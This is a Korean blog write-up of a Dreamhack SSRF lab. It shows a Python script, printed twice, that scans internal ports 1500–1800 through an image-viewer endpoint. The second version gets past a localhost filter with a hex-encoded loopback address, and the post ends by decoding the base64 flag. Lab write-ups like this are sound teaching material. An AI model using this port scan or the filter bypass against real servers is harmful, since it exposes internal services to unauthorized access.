외로운 Nova의 작업실

dreamhack 웹해킹 - 9(SSRF 함께 실습) 본문

Web Penetesting/Web Vulnerability

dreamhack 웹해킹 - 9(SSRF 함께 실습)

Nova_ 2022. 12. 27. 17:26

이번시간에는 SSRF 함께 실습을 리뷰해보겠습니다. 정답은 가려져 있습니다.

 

- 문제인식

 

url을 /으로 시작하면 자기자신의 파일시스템에서 파일을 가져오게됩니다. 이때 해당 웹서버는 /app이 아닌 다른 경로에 위치하게됩니다. 따라서 /flag.txt를 입력하면 /app이 아니기때문에 notfound가 뜹니다. 하지만 /으로 시작하지않고 http:127.0.0.1:1598로 시작하게되면 다른 서버가 해당 요청을 받게됩니다. 이 해당 서버는 /app에서 실행되고 있다고 합니다. 이번 실습을 위해 드림핵에서는 이 다른 서버를 실행시켜놓았고 1500~1800사이에 포트를 적용했습니다.

 

- 포트 알아내기

포트 코드를 이용해서 주소부분을 변경하여 알아내줍니다.

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

Localhost 부분을 넣으면 필터링이 걸리기때문에 http://0x7f.0x00.0x00.0x01:{port]로 변경해줍니다. 또한 맨아래 자신의 문제 서버 URL로 변경해줍니다. 저의 경우 아래의 url이였습니다.

아래는 고친후 코드입니다.

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://0x7f.0x00.0x00.0x01:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

위를 실행시켜줍시다.

저는 1515포트에 되어있는 것을 확인됩니다.

 

- flag 확인

이제 값을 직접 넣고 base64 디코딩을 실시해줍니다.

view 버튼을 누르면 아래와같이 뜹니다.

저 깨진 그림부분을 오른쪽 마우스 클릭 - 새탭에서 이미지 열기를 해줍니다.

윗 부분 url에 base64 인코딩된 부분을 복사해줍시다.

이를 base64 디코딩에 넣어줍니다.

https://www.convertstring.com/ko/EncodeDecode/Base64Decode

 

Base64로 디코딩 - 온라인 Base64로 디코더

당신의 Base64로 여기에 텍스트를 디코딩 복사 파일로 디코딩 Base64로 다운로드 :

www.convertstring.com

그러면 아래와 같이 정답이 나옵니다.

Comments